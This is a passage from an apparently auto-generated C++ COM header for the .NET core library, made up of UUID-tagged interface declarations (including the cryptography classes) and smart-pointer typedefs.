/* dual interface */ _SoapFault;
struct __declspec(uuid("02d1bd78-3bb6-37ad-a9f8-f7d5da273e4e"))
/* dual interface */ _ServerFault;
struct __declspec(uuid("3bcf0cb2-a849-375e-8189-1ba5f1f4a9b0"))
/* dual interface */ _BinaryFormatter;
struct __declspec(uuid("0daeaee7-007b-3fca-8755-a5c6c3158955"))
/* dual interface */ _DynamicILInfo;
struct __declspec(uuid("eaaa2670-0fb1-33ea-852b-f1c97fed1797"))
/* dual interface */ _DynamicMethod;
struct __declspec(uuid("1db1cc2a-da73-389e-828b-5c616f4fac49"))
/* dual interface */ _OpCodes;
struct __declspec(uuid("b1a62835-fc19-35a4-b206-a452463d7ee7"))
/* dual interface */ _GenericTypeParameterBuilder;
struct __declspec(uuid("fd302d86-240a-3694-a31f-9ef59e6e41bc"))
/* dual interface */ _UnmanagedMarshal;
struct __declspec(uuid("8978b0be-a89e-3ff9-9834-77862cebff3d"))
/* dual interface */ _KeySizes;
struct __declspec(uuid("4311e8f5-b249-3f81-8ff4-cf853d85306d"))
/* dual interface */ _CryptographicException;
struct __declspec(uuid("7fb08423-038f-3acc-b600-e6d072bae160"))
/* dual interface */ _CryptographicUnexpectedOperationException;
struct __declspec(uuid("7ae4b03c-414a-36e0-ba68-f9603004c925"))
/* dual interface */ _RandomNumberGenerator;
struct __declspec(uuid("2c65d4c0-584c-3e4e-8e6d-1afb112bff69"))
/* dual interface */ _RNGCryptoServiceProvider;
struct __declspec(uuid("05bc0e38-7136-3825-9e34-26c1cf2142c9"))
/* dual interface */ _SymmetricAlgorithm;
struct __declspec(uuid("09343ac0-d19a-3e62-bc16-0f600f10180a"))
/* dual interface */ _AsymmetricAlgorithm;
struct __declspec(uuid("b6685cca-7a49-37d1-a805-3de829cb8deb"))
/* dual interface */ _AsymmetricKeyExchangeDeformatter;
struct __declspec(uuid("1365b84b-6477-3c40-be6a-089dc01eced9"))
/* dual interface */ _AsymmetricKeyExchangeFormatter;
struct __declspec(uuid("7ca5fe57-d1ac-3064-bb0b-f450be40f194"))
/* dual interface */ _AsymmetricSignatureDeformatter;
struct __declspec(uuid("5363d066-6295-3618-be33-3f0b070b7976"))
/* dual interface */ _AsymmetricSignatureFormatter;
struct __declspec(uuid("23ded1e1-7d5f-3936-aa4e-18bbcc39b155"))
/* dual interface */ _ToBase64Transform;
struct __declspec(uuid("fc0717a6-2e86-372f-81f4-b35ed4bdf0de"))
/* dual interface */ _FromBase64Transform;
struct __declspec(uuid("983b8639-2ed7-364c-9899-682abb2ce850"))
/* dual interface */ _CryptoAPITransform;
struct __declspec(uuid("d5331d95-fff2-358f-afd5-588f469ff2e4"))
/* dual interface */ _CspParameters;
struct __declspec(uuid("ab00f3f8-7dde-3ff5-b805-6c5dbb200549"))
/* dual interface */ _CryptoConfig;
struct __declspec(uuid("4134f762-d0ec-3210-93c0-de4f443d5669"))
/* dual interface */ _CryptoStream;
struct __declspec(uuid("c7ef0214-b91c-3799-98dd-c994aabfc741"))
/* dual interface */ _DES;
struct __declspec(uuid("65e8495e-5207-3248-9250-0fc849b4f096"))
/* dual interface */ _DESCryptoServiceProvider;
struct __declspec(uuid("140ee78f-067f-3765-9258-c3bc72fe976b"))
/* dual interface */ _DeriveBytes;
struct __declspec(uuid("0eb5b5e0-1be6-3a5f-87b3-e3323342f44e"))
/* dual interface */ _DSA;
struct __declspec(uuid("1f38aafe-7502-332f-971f-c2fc700a1d55"))
/* dual interface */ _DSACryptoServiceProvider;
struct __declspec(uuid("0e774498-ade6-3820-b1d5-426b06397be7"))
/* dual interface */ _DSASignatureDeformatter;
struct __declspec(uuid("4b5fc561-5983-31e4-903b-1404231b2c89"))
/* dual interface */ _DSASignatureFormatter;
struct __declspec(uuid("69d3baba-1c3d-354c-acfe-f19109ec3896"))
/* dual interface */ _HashAlgorithm;
struct __declspec(uuid("d182cf91-628c-3ff6-87f0-41ba51cc7433"))
/* dual interface */ _KeyedHashAlgorithm;
struct __declspec(uuid("e5456726-33f6-34e4-95c2-db2bfa581462"))
/* dual interface */ _HMAC;
struct __declspec(uuid("486360f5-6213-322b-befb-45221579d4af"))
/* dual interface */ _HMACMD5;
struct __declspec(uuid("9fd974a5-338c-37b9-a1b2-d45f0c2b25c2"))
/* dual interface */ _HMACRIPEMD160;
struct __declspec(uuid("63ac7c37-c51a-3d82-8fdd-2a567039e46d"))
/* dual interface */ _HMACSHA1;
struct __declspec(uuid("1377ce34-8921-3bd4-96e9-c8d5d5aa1adf"))
/* dual interface */ _HMACSHA256;
struct __declspec(uuid("786f8ac3-93e4-3b6f-9f62-1901b0e5f433"))
/* dual interface */ _HMACSHA384;
struct __declspec(uuid("eb081b9d-a766-3abe-b720-505c42162d83"))
/* dual interface */ _HMACSHA512;
struct __declspec(uuid("be8619cb-3731-3cb2-a3a8-cd0bfa5566ec"))
/* dual interface */ _CspKeyContainerInfo;
struct __declspec(uuid("1cac0bda-ac58-31bc-b624-63f77d0c3d2f"))
/* dual interface */ _MACTripleDES;
struct __declspec(uuid("9aa8765e-69a0-30e3-9cde-ebc70662ae37"))
/* dual interface */ _MD5;
struct __declspec(uuid("d3f5c812-5867-33c9-8cee-cb170e8d844a"))
/* dual interface */ _MD5CryptoServiceProvider;
struct __declspec(uuid("85601fee-a79d-3710-af21-099089edc0bf"))
/* dual interface */ _MaskGenerationMethod;
struct __declspec(uuid("3cd62d67-586f-309e-a6d8-1f4baac5ac28"))
/* dual interface */ _PasswordDeriveBytes;
struct __declspec(uuid("425bff0d-59e4-36a8-b1ff-1f5d39d698f4"))
/* dual interface */ _PKCS1MaskGenerationMethod;
struct __declspec(uuid("f7c0c4cc-0d49-31ee-a3d3-b8b551e4928c"))
/* dual interface */ _RC2;
struct __declspec(uuid("875715c5-cb64-3920-8156-0ee9cb0e07ea"))
/* dual interface */ _RC2CryptoServiceProvider;
struct __declspec(uuid("a6589897-5a67-305f-9497-72e5fe8bead5"))
/* dual interface */ _Rfc2898DeriveBytes;
struct __declspec(uuid("e5481be9-3422-3506-bc35-b96d4535014d"))
/* dual interface */ _RIPEMD160;
struct __declspec(uuid("814f9c35-b7f8-3ceb-8e43-e01f09157060"))
/* dual interface */ _RIPEMD160Managed;
struct __declspec(uuid("0b3fb710-a25c-3310-8774-1cf117f95bd4"))
/* dual interface */ _RSA;
struct __declspec(uuid("bd9df856-2300-3254-bcf0-679ba03c7a13"))
/* dual interface */ _RSACryptoServiceProvider;
struct __declspec(uuid("37625095-7baa-377d-a0dc-7f465c0167aa"))
/* dual interface */ _RSAOAEPKeyExchangeDeformatter;
struct __declspec(uuid("77a416e7-2ac6-3d0e-98ff-3ba0f586f56f"))
/* dual interface */ _RSAOAEPKeyExchangeFormatter;
struct __declspec(uuid("8034aaf4-3666-3b6f-85cf-463f9bfd31a9"))
/* dual interface */ _RSAPKCS1KeyExchangeDeformatter;
struct __declspec(uuid("9ff67f8e-a7aa-3ba6-90ee-9d44af6e2f8c"))
/* dual interface */ _RSAPKCS1KeyExchangeFormatter;
struct __declspec(uuid("fc38507e-06a4-3300-8652-8d7b54341f65"))
/* dual interface */ _RSAPKCS1SignatureDeformatter;
struct __declspec(uuid("fb7a5ff4-cfa8-3f24-ad5f-d5eb39359707"))
/* dual interface */ _RSAPKCS1SignatureFormatter;
struct __declspec(uuid("21b52a91-856f-373c-ad42-4cf3f1021f5a"))
/* dual interface */ _Rijndael;
struct __declspec(uuid("427ea9d3-11d8-3e38-9e05-a4f7fa684183"))
/* dual interface */ _RijndaelManaged;
struct __declspec(uuid("5767c78f-f344-35a5-84bc-53b9eaeb68cb"))
/* dual interface */ _RijndaelManagedTransform;
struct __declspec(uuid("48600dd2-0099-337f-92d6-961d1e5010d4"))
/* dual interface */ _SHA1;
struct __declspec(uuid("a16537bc-1edf-3516-b75e-cc65caf873ab"))
/* dual interface */ _SHA1CryptoServiceProvider;
struct __declspec(uuid("c27990bb-3cfd-3d29-8dc0-bbe5fbadeafd"))
/* dual interface */ _SHA1Managed;
struct __declspec(uuid("3b274703-dfae-3f9c-a1b5-9990df9d7fa3"))
/* dual interface */ _SHA256;
struct __declspec(uuid("3d077954-7bcc-325b-9dda-3b17a03378e0"))
/* dual interface */ _SHA256Managed;
struct __declspec(uuid("b60ad5d7-2c2e-35b7-8d77-7946156cfe8e"))
/* dual interface */ _SHA384;
struct __declspec(uuid("de541460-f838-3698-b2da-510b09070118"))
/* dual interface */ _SHA384Managed;
struct __declspec(uuid("49dd9e4b-84f3-3d6d-91fb-3fedcef634c7"))
/* dual interface */ _SHA512;
struct __declspec(uuid("dc8ce439-7954-36ed-803c-674f72f27249"))
/* dual interface */ _SHA512Managed;
struct __declspec(uuid("8017b414-4886-33da-80a3-7865c1350d43"))
/* dual interface */ _SignatureDescription;
struct __declspec(uuid("c040b889-5278-3132-aff9-afa61707a81d"))
/* dual interface */ _TripleDES;
struct __declspec(uuid("ec69d083-3cd0-3c0c-998c-3b738db535d5"))
/* dual interface */ _TripleDESCryptoServiceProvider;
struct __declspec(uuid("68fd6f14-a7b2-36c8-a724-d01f90d73477"))
/* dual interface */ _X509Certificate;

//
// Smart pointer typedef declarations
//

_COM_SMARTPTR_TYPEDEF(IComparable, __uuidof(IComparable));
_COM_SMARTPTR_TYPEDEF(ICloneable, __uuidof(ICloneable));
_COM_SMARTPTR_TYPEDEF(IEnumerable, __uuidof(IEnumerable));
_COM_SMARTPTR_TYPEDEF(IList, __uuidof(IList));
_COM_SMARTPTR_TYPEDEF(IEnumerator, __uuidof(IEnumerator));
_COM_SMARTPTR_TYPEDEF(IDisposable, __uuidof(IDisposable));
_COM_SMARTPTR_TYPEDEF(IComparer, __uuidof(IComparer));
_COM_SMARTPTR_TYPEDEF(IEqualityComparer, __uuidof(IEqualityComparer));
_COM_SMARTPTR_TYPEDEF(IDeserializationCallback, __uuidof(IDeserializationCallback));
_COM_SMARTPTR_TYPEDEF(_Activator, __uuidof(_Activator));
_COM_SMARTPTR_TYPEDEF(IAppDomainSetup, __uuidof(IAppDomainSetup));
_COM_SMARTPTR_TYPEDEF(_Attribute, __uuidof(_Attribute));
_COM_SMARTPTR_TYPEDEF(_Thread, __uuidof(_Thread));
_COM_SMARTPTR_TYPEDEF(IObjectHandle, __uuidof(IObjectHandle));
_COM_SMARTPTR_TYPEDEF(IHashCodeProvider, __uuidof(IHashCodeProvider));
_COM_SMARTPTR_TYPEDEF(IDictionaryEnumerator, __uuidof(IDictionaryEnumerator));
_COM_SMARTPTR_TYPEDEF(ISymbolDocument, __uuidof(ISymbolDocument));
_COM_SMARTPTR_TYPEDEF(ISymbolDocumentWriter, __uuidof(ISymbolDocumentWriter));
_COM_SMARTPTR_TYPEDEF(ISymbolNamespace, __uuidof(ISymbolNamespace));
_COM_SMARTPTR_TYPEDEF(ISymbolVariable, __uuidof(ISymbolVariable));
_COM_SMARTPTR_TYPEDEF(_AssemblyName, __uuidof(_AssemblyName));
_COM_SMARTPTR_TYPEDEF(_ParameterInfo, __uuidof(_ParameterInfo));
_COM_SMARTPTR_TYPEDEF(_Module, __uuidof(_Module));
_COM_SMARTPTR_TYPEDEF(ISymbolWriter, __uuidof(ISymbolWriter));
_COM_SMARTPTR_TYPEDEF(IObjectReference, __uuidof(IObjectReference));
_COM_SMARTPTR_TYPEDEF(IResourceReader, __uuidof(IResourceReader));
_COM_SMARTPTR_TYPEDEF(IResourceWriter, __uuidof(IResourceWriter));
_COM_SMARTPTR_TYPEDEF(IIdentity, __uuidof(IIdentity));
_COM_SMARTPTR_TYPEDEF(IPrincipal, __uuidof(IPrincipal));
_COM_SMARTPTR_TYPEDEF(ICustomMarshaler, __uuidof(ICustomMarshaler));
_COM_SMARTPTR_TYPEDEF(ICustomAdapter, __uuidof(ICustomAdapter));
_COM_SMARTPTR_TYPEDEF(ITypeLibExporterNameProvider, __uuidof(ITypeLibExporterNameProvider));
_COM_SMARTPTR_TYPEDEF(IPermission, __uuidof(IPermission));
_COM_SMARTPTR_TYPEDEF(IStackWalk, __uuidof(IStackWalk));
_COM_SMARTPTR_TYPEDEF(IUnrestrictedPermission, __uuidof(IUnrestrictedPermission));
_COM_SMARTPTR_TYPEDEF(IChannel, __uuidof(IChannel));
_COM_SMARTPTR_TYPEDEF(IChannelReceiver, __uuidof(IChannelReceiver));
_COM_SMARTPTR_TYPEDEF(IMethodCallMessage, __uuidof(IMethodCallMessage));
_COM_SMARTPTR_TYPEDEF(IConstructionReturnMessage, __uuidof(IConstructionReturnMessage));
_COM_SMARTPTR_TYPEDEF(IClientFormatterSinkProvider, __uuidof(IClientFormatterSinkProvider));
_COM_SMARTPTR_TYPEDEF(IServerFormatterSinkProvider, __uuidof(IServerFormatterSinkProvider));
_COM_SMARTPTR_TYPEDEF(IClientFormatterSink, __uuidof(IClientFormatterSink));
_COM_SMARTPTR_TYPEDEF(IChannelDataStore, __uuidof(IChannelDataStore));
_COM_SMARTPTR_TYPEDEF(ITransportHeaders, __uuidof(ITransportHeaders));
_COM_SMARTPTR_TYPEDEF(IDynamicProperty, __uuidof(IDynamicProperty));
_COM_SMARTPTR_TYPEDEF(IMessageCtrl, __uuidof(IMessageCtrl));
_COM_SMARTPTR_TYPEDEF(IFieldInfo, __uuidof(IFieldInfo));
_COM_SMARTPTR_TYPEDEF(IChannelInfo, __uuidof(IChannelInfo));
_COM_SMARTPTR_TYPEDEF(ISoapXsd, __uuidof(ISoapXsd));
_COM_SMARTPTR_TYPEDEF(ILogicalThreadAffinative, __uuidof(ILogicalThreadAffinative));
_COM_SMARTPTR_TYPEDEF(INormalizeForIsolatedStorage, __uuidof(INormalizeForIsolatedStorage));
_COM_SMARTPTR_TYPEDEF(ISoapMessage, __uuidof(ISoapMessage));
_COM_SMARTPTR_TYPEDEF(_AssemblyBuilder, __uuidof(_AssemblyBuilder));
_COM_SMARTPTR_TYPEDEF(_ConstructorBuilder, __uuidof(_ConstructorBuilder));
_COM_SMARTPTR_TYPEDEF(_CustomAttributeBuilder, __uuidof(_CustomAttributeBuilder));
_COM_SMARTPTR_TYPEDEF(_EnumBuilder, __uuidof(_EnumBuilder));
_COM_SMARTPTR_TYPEDEF(_EventBuilder, __uuidof(_EventBuilder));
_COM_SMARTPTR_TYPEDEF(_FieldBuilder, __uuidof(_FieldBuilder));
_COM_SMARTPTR_TYPEDEF(_ILGenerator, __uuidof(_ILGenerator));
_COM_SMARTPTR_TYPEDEF(_LocalBuilder, __uuidof(_LocalBuilder));
_COM_SMARTPTR_TYPEDEF(_MethodBuilder, __uuidof(_MethodBuilder));
_COM_SMARTPTR_TYPEDEF(_MethodRental, __uuidof(_MethodRental));
_COM_SMARTPTR_TYPEDEF(_ModuleBuilder, __uuidof(_ModuleBuilder));
_COM_SMARTPTR_TYPEDEF(_ParameterBuilder, __uuidof(_ParameterBuilder));
_COM_SMARTPTR_TYPEDEF(_PropertyBuilder, __uuidof(_PropertyBuilder));
_COM_SMARTPTR_TYPEDEF(_SignatureHelper, __uuidof(_SignatureHelper));
_COM_SMARTPTR_TYPEDEF(_TypeBuilder, __uuidof(_TypeBuilder));
_COM_SMARTPTR_TYPEDEF(ICryptoTransform, __uuidof(ICryptoTransform));
_COM_SMARTPTR_TYPEDEF(_ValueType, __uuidof(_ValueType));
_COM_SMARTPTR_TYPEDEF(_Enum, __uuidof(_Enum));
_COM_SMARTPTR_TYPEDEF(_MulticastDelegate, __uuidof(_MulticastDelegate));
_COM_SMARTPTR_TYPEDEF(_Array, __uuidof(_Array));
_COM_SMARTPTR_TYPEDEF(ICollection, __uuidof(ICollection));
_COM_SMARTPTR_TYPEDEF(IDictionary, __uuidof(IDictionary));
_COM_SMARTPTR_TYPEDEF(IChannelSinkBase, __uuidof(IChannelSinkBase));
_COM_SMARTPTR_TYPEDEF(IMessage, __uuidof(IMessage));
_COM_SMARTPTR_TYPEDEF(IMessageSink, __uuidof(IMessageSink));
_COM_SMARTPTR_TYPEDEF(IChannelSender, __uuidof(IChannelSender));
_COM_SMARTPTR_TYPEDEF(IContributeClientContextSink, __uuidof(IContributeClientContextSink));
_COM_SMARTPTR_TYPEDEF(IContributeServerContextSink, __uuidof(IContributeServerContextSink));
_COM_SMARTPTR_TYPEDEF(IDynamicMessageSink, __uuidof(IDynamicMessageSink));
_COM_SMARTPTR_TYPEDEF(IContributeDynamicSink, __uuidof(IContributeDynamicSink));
_COM_SMARTPTR_TYPEDEF(IEnvoyInfo, __uuidof(IEnvoyInfo));
_COM_SMARTPTR_TYPEDEF(_String, __uuidof(_String));
_COM_SMARTPTR_TYPEDEF(_StringComparer, __uuidof(_StringComparer));
_COM_SMARTPTR_TYPEDEF(_StringBuilder, __uuidof(_StringBuilder));
_COM_SMARTPTR_TYPEDEF(_SystemException, __uuidof(_SystemException));
_COM_SMARTPTR_TYPEDEF(_OutOfMemoryException, __uuidof(_OutOfMemoryException));
_COM_SMARTPTR_TYPEDEF(_StackOverflowException, __uuidof(_StackOverflowException));
_COM_SMARTPTR_TYPEDEF(_DataMisalignedException, __uuidof(_DataMisalignedException));
_COM_SMARTPTR_TYPEDEF(_ExecutionEngineException, __uuidof(_ExecutionEngineException));
_COM_SMARTPTR_TYPEDEF(_MemberAccessException, __uuidof(_MemberAccessException));
_COM_SMARTPTR_TYPEDEF(_AccessViolationException, __uuidof(_AccessViolationException));
_COM_SMARTPTR_TYPEDEF(_ApplicationActivator, __uuidof(_ApplicationActivator));
_COM_SMARTPTR_TYPEDEF(_ApplicationException, __uuidof(_ApplicationException));
_COM_SMARTPTR_TYPEDEF(_EventArgs, __uuidof(_EventArgs));
_COM_SMARTPTR_TYPEDEF(_ResolveEventArgs, __uuidof(_ResolveEventArgs));
_COM_SMARTPTR_TYPEDEF(_AssemblyLoadEventArgs, __uuidof(_AssemblyLoadEventArgs));
_COM_SMARTPTR_TYPEDEF(_ResolveEventHandler, __uuidof(_ResolveEventHandler));
_COM_SMARTPTR_TYPEDEF(_AssemblyLoadEventHandler, __uuidof(_AssemblyLoadEventHandler));
_COM_SMARTPTR_TYPEDEF(_AppDomainInitializer, __uuidof(_AppDomainInitializer));
_COM_SMARTPTR_TYPEDEF(_MarshalByRefObject, __uuidof(_MarshalByRefObject));
_COM_SMARTPTR_TYPEDEF(IContributeEnvoySink, __uuidof(IContributeEnvoySink));
_COM_SMARTPTR_TYPEDEF(IContributeObjectSink, __uuidof(IContributeObjectSink));
_COM_SMARTPTR_TYPEDEF(_CrossAppDomainDelegate, __uuidof(_CrossAppDomainDelegate));
_COM_SMARTPTR_TYPEDEF(_AppDomainManager, __uuidof(_AppDomainManager));
_COM_SMARTPTR_TYPEDEF(_LoaderOptimizationAttribute, __uuidof(_LoaderOptimizationAttribute));
_COM_SMARTPTR_TYPEDEF(_AppDomainUnloadedException, __uuidof(_AppDomainUnloadedException));
_COM_SMARTPTR_TYPEDEF(_EvidenceBase, __uuidof(_EvidenceBase));
_COM_SMARTPTR_TYPEDEF(_ActivationArguments, __uuidof(_ActivationArguments));
_COM_SMARTPTR_TYPEDEF(_ApplicationId, __uuidof(_ApplicationId));
_COM_SMARTPTR_TYPEDEF(_ArgumentException, __uuidof(_ArgumentException));
_COM_SMARTPTR_TYPEDEF(_ArgumentNullException, __uuidof(_ArgumentNullException));
_COM_SMARTPTR_TYPEDEF(_ArgumentOutOfRangeException, __uuidof(_ArgumentOutOfRangeException));
_COM_SMARTPTR_TYPEDEF(_ArithmeticException, __uuidof(_ArithmeticException));
_COM_SMARTPTR_TYPEDEF(_ArrayTypeMismatchException, __uuidof(_ArrayTypeMismatchException));
_COM_SMARTPTR_TYPEDEF(_AsyncCallback, __uuidof(_AsyncCallback));
_COM_SMARTPTR_TYPEDEF(_AttributeUsageAttribute, __uuidof(_AttributeUsageAttribute));
_COM_SMARTPTR_TYPEDEF(_BadImageFormatException, __uuidof(_BadImageFormatException));
_COM_SMARTPTR_TYPEDEF(_Buffer, __uuidof(_Buffer));
_COM_SMARTPTR_TYPEDEF(_CannotUnloadAppDomainException, __uuidof(_CannotUnloadAppDomainException));
_COM_SMARTPTR_TYPEDEF(_CharEnumerator, __uuidof(_CharEnumerator));
_COM_SMARTPTR_TYPEDEF(_CLSCompliantAttribute, __uuidof(_CLSCompliantAttribute));
_COM_SMARTPTR_TYPEDEF(_TypeUnloadedException, __uuidof(_TypeUnloadedException));
_COM_SMARTPTR_TYPEDEF(_CriticalFinalizerObject, __uuidof(_CriticalFinalizerObject));
_COM_SMARTPTR_TYPEDEF(_ContextMarshalException, __uuidof(_ContextMarshalException));
_COM_SMARTPTR_TYPEDEF(_ContextBoundObject, __uuidof(_ContextBoundObject));
_COM_SMARTPTR_TYPEDEF(_ContextStaticAttribute, __uuidof(_ContextStaticAttribute));
_COM_SMARTPTR_TYPEDEF(_TimeZone, __uuidof(_TimeZone));
_COM_SMARTPTR_TYPEDEF(_DBNull, __uuidof(_DBNull));
_COM_SMARTPTR_TYPEDEF(_DivideByZeroException, __uuidof(_DivideByZeroException));
_COM_SMARTPTR_TYPEDEF(_DuplicateWaitObjectException, __uuidof(_DuplicateWaitObjectException));
_COM_SMARTPTR_TYPEDEF(_TypeLoadException, __uuidof(_TypeLoadException));
_COM_SMARTPTR_TYPEDEF(_EntryPointNotFoundException, __uuidof(_EntryPointNotFoundException));
_COM_SMARTPTR_TYPEDEF(_DllNotFoundException, __uuidof(_DllNotFoundException));
_COM_SMARTPTR_TYPEDEF(_Environment, __uuidof(_Environment));
_COM_SMARTPTR_TYPEDEF(_EventHandler, __uuidof(_EventHandler));
_COM_SMARTPTR_TYPEDEF(_FieldAccessException, __uuidof(_FieldAccessException));
_COM_SMARTPTR_TYPEDEF(_FlagsAttribute, __uuidof(_FlagsAttribute));
_COM_SMARTPTR_TYPEDEF(_FormatException, __uuidof(_FormatException));
_COM_SMARTPTR_TYPEDEF(_IndexOutOfRangeException, __uuidof(_IndexOutOfRangeException));
_COM_SMARTPTR_TYPEDEF(_InvalidCastException, __uuidof(_InvalidCastException));
_COM_SMARTPTR_TYPEDEF(_InvalidOperationException, __uuidof(_InvalidOperationException));
_COM_SMARTPTR_TYPEDEF(_InvalidProgramException, __uuidof(_InvalidProgramException));
_COM_SMARTPTR_TYPEDEF(_LocalDataStoreSlot, __uuidof(_LocalDataStoreSlot));
_COM_SMARTPTR_TYPEDEF(_MethodAccessException, __uuidof(_MethodAccessException));
_COM_SMARTPTR_TYPEDEF(_MissingMemberException, __uuidof(_MissingMemberException));
_COM_SMARTPTR_TYPEDEF(_MissingFieldException, __uuidof(_MissingFieldException));
_COM_SMARTPTR_TYPEDEF(_MissingMethodException, __uuidof(_MissingMethodException));
_COM_SMARTPTR_TYPEDEF(_MulticastNotSupportedException, __uuidof(_MulticastNotSupportedException));
_COM_SMARTPTR_TYPEDEF(_NonSerializedAttribute, __uuidof(_NonSerializedAttribute));
_COM_SMARTPTR_TYPEDEF(_NotFiniteNumberException, __uuidof(_NotFiniteNumberException));
_COM_SMARTPTR_TYPEDEF(_NotImplementedException, __uuidof(_NotImplementedException));
_COM_SMARTPTR_TYPEDEF(_NotSupportedException, __uuidof(_NotSupportedException));
_COM_SMARTPTR_TYPEDEF(_NullReferenceException, __uuidof(_NullReferenceException));
_COM_SMARTPTR_TYPEDEF(_ObjectDisposedException, __uuidof(_ObjectDisposedException));
_COM_SMARTPTR_TYPEDEF(_ObsoleteAttribute, __uuidof(_ObsoleteAttribute));
_COM_SMARTPTR_TYPEDEF(_OperatingSystem, __uuidof(_OperatingSystem));
_COM_SMARTPTR_TYPEDEF(_OperationCanceledException, __uuidof(_OperationCanceledException));
_COM_SMARTPTR_TYPEDEF(_OverflowException, __uuidof(_OverflowException));
_COM_SMARTPTR_TYPEDEF(_ParamArrayAttribute, __uuidof(_ParamArrayAttribute));
_COM_SMARTPTR_TYPEDEF(_PlatformNotSupportedException, __uuidof(_PlatformNotSupportedException));
_COM_SMARTPTR_TYPEDEF(_Random, __uuidof(_Random));
_COM_SMARTPTR_TYPEDEF(_RankException, __uuidof(_RankException));
_COM_SMARTPTR_TYPEDEF(_TypeInfo, __uuidof(_TypeInfo));
_COM_SMARTPTR_TYPEDEF(_SerializableAttribute, __uuidof(_SerializableAttribute));
_COM_SMARTPTR_TYPEDEF(_STAThreadAttribute, __uuidof(_STAThreadAttribute));
_COM_SMARTPTR_TYPEDEF(_MTAThreadAttribute, __uuidof(_MTAThreadAttribute));
_COM_SMARTPTR_TYPEDEF(_TimeoutException, __uuidof(_TimeoutException));
_COM_SMARTPTR_TYPEDEF(_TypeInitializationException, __uuidof(_TypeInitializationException));
_COM_SMARTPTR_TYPEDEF(_UnauthorizedAccessException, __uuidof(_UnauthorizedAccessException));
_COM_SMARTPTR_TYPEDEF(_UnhandledExceptionEventArgs, __uuidof(_UnhandledExceptionEventArgs));
_COM_SMARTPTR_TYPEDEF(_UnhandledExceptionEventHandler, __uuidof(_UnhandledExceptionEventHandler));
_COM_SMARTPTR_TYPEDEF(_Version, __uuidof(_Version));
_COM_SMARTPTR_TYPEDEF(_WeakReference, __uuidof(_WeakReference));
_COM_SMARTPTR_TYPEDEF(_WaitHandle, __uuidof(_WaitHandle));
_COM_SMARTPTR_TYPEDEF(IAsyncResult, __uuidof(IAsyncResult));
_COM_SMARTPTR_TYPEDEF(_EventWaitHandle, __uuidof(_EventWaitHandle));
_COM_SMARTPTR_TYPEDEF(_AutoResetEvent, __uuidof(_AutoResetEvent));
_COM_SMARTPTR_TYPEDEF(_ContextCallback, __uuidof(_ContextCallback));
_COM_SMARTPTR_TYPEDEF(_ManualResetEvent, __uuidof(_ManualResetEvent));
_COM_SMARTPTR_TYPEDEF(_Monitor, __uuidof(_Monitor));
_COM_SMARTPTR_TYPEDEF(_Mutex, __uuidof(_Mutex));
_COM_SMARTPTR_TYPEDEF(_Overlapped, __uuidof(_Overlapped));
_COM_SMARTPTR_TYPEDEF(_ReaderWriterLock, __uuidof(_ReaderWriterLock));
_COM_SMARTPTR_TYPEDEF(_SynchronizationLockException, __uuidof(_SynchronizationLockException));
_COM_SMARTPTR_TYPEDEF(_ThreadAbortException, __uuidof(_ThreadAbortException));
_COM_SMARTPTR_TYPEDEF(_ThreadInterruptedException, __uuidof(_ThreadInterruptedException));
_COM_SMARTPTR_TYPEDEF(_RegisteredWaitHandle, __uuidof(_RegisteredWaitHandle));
_COM_SMARTPTR_TYPEDEF(_WaitCallback, __uuidof(_WaitCallback));
_COM_SMARTPTR_TYPEDEF(_WaitOrTimerCallback, __uuidof(_WaitOrTimerCallback));
_COM_SMARTPTR_TYPEDEF(_IOCompletionCallback, __uuidof(_IOCompletionCallback));
_COM_SMARTPTR_TYPEDEF(_ThreadStart, __uuidof(_ThreadStart));
_COM_SMARTPTR_TYPEDEF(_ThreadStateException, __uuidof(_ThreadStateException));
_COM_SMARTPTR_TYPEDEF(_ThreadStaticAttribute, __uuidof(_ThreadStaticAttribute));
_COM_SMARTPTR_TYPEDEF(_Timeout, __uuidof(_Timeout));
_COM_SMARTPTR_TYPEDEF(_TimerCallback, __uuidof(_TimerCallback));
_COM_SMARTPTR_TYPEDEF(_Timer, __uuidof(_Timer));
_COM_SMARTPTR_TYPEDEF(_CaseInsensitiveComparer, __uuidof(_CaseInsensitiveComparer));
_COM_SMARTPTR_TYPEDEF(_CaseInsensitiveHashCodeProvider, __uuidof(_CaseInsensitiveHashCodeProvider));
_COM_SMARTPTR_TYPEDEF(_CollectionBase, __uuidof(_CollectionBase));
_COM_SMARTPTR_TYPEDEF(_DictionaryBase, __uuidof(_DictionaryBase));
_COM_SMARTPTR_TYPEDEF(_ReadOnlyCollectionBase, __uuidof(_ReadOnlyCollectionBase));
_COM_SMARTPTR_TYPEDEF(_Queue, __uuidof(_Queue));
_COM_SMARTPTR_TYPEDEF(_ArrayList, __uuidof(_ArrayList));
_COM_SMARTPTR_TYPEDEF(_BitArray, __uuidof(_BitArray));
_COM_SMARTPTR_TYPEDEF(_Stack, __uuidof(_Stack));
_COM_SMARTPTR_TYPEDEF(_Comparer, __uuidof(_Comparer));
_COM_SMARTPTR_TYPEDEF(_Hashtable, __uuidof(_Hashtable));
_COM_SMARTPTR_TYPEDEF(_SortedList, __uuidof(_SortedList));
_COM_SMARTPTR_TYPEDEF(_Nullable, __uuidof(_Nullable));
_COM_SMARTPTR_TYPEDEF(_KeyNotFoundException, __uuidof(_KeyNotFoundException));
_COM_SMARTPTR_TYPEDEF(_ConditionalAttribute, __uuidof(_ConditionalAttribute));
_COM_SMARTPTR_TYPEDEF(_Debugger, __uuidof(_Debugger));
_COM_SMARTPTR_TYPEDEF(_DebuggerStepThroughAttribute, __uuidof(_DebuggerStepThroughAttribute));
_COM_SMARTPTR_TYPEDEF(_DebuggerStepperBoundaryAttribute, __uuidof(_DebuggerStepperBoundaryAttribute));
_COM_SMARTPTR_TYPEDEF(_DebuggerHiddenAttribute, __uuidof(_DebuggerHiddenAttribute));
_COM_SMARTPTR_TYPEDEF(_DebuggerNonUserCodeAttribute, __uuidof(_DebuggerNonUserCodeAttribute));
_COM_SMARTPTR_TYPEDEF(_DebuggableAttribute, __uuidof(_DebuggableAttribute));
_COM_SMARTPTR_TYPEDEF(_DebuggerBrowsableAttribute, __uuidof(_DebuggerBrowsableAttribute));
_COM_SMARTPTR_TYPEDEF(_DebuggerTypeProxyAttribute, __uuidof(_DebuggerTypeProxyAttribute));
_COM_SMARTPTR_TYPEDEF(_DebuggerDisplayAttribute, __uuidof(_DebuggerDisplayAttribute));
_COM_SMARTPTR_TYPEDEF(_DebuggerVisualizerAttribute, __uuidof(_DebuggerVisualizerAttribute));
_COM_SMARTPTR_TYPEDEF(_StackTrace, __uuidof(_StackTrace));
_COM_SMARTPTR_TYPEDEF(_StackFrame, __uuidof(_StackFrame));
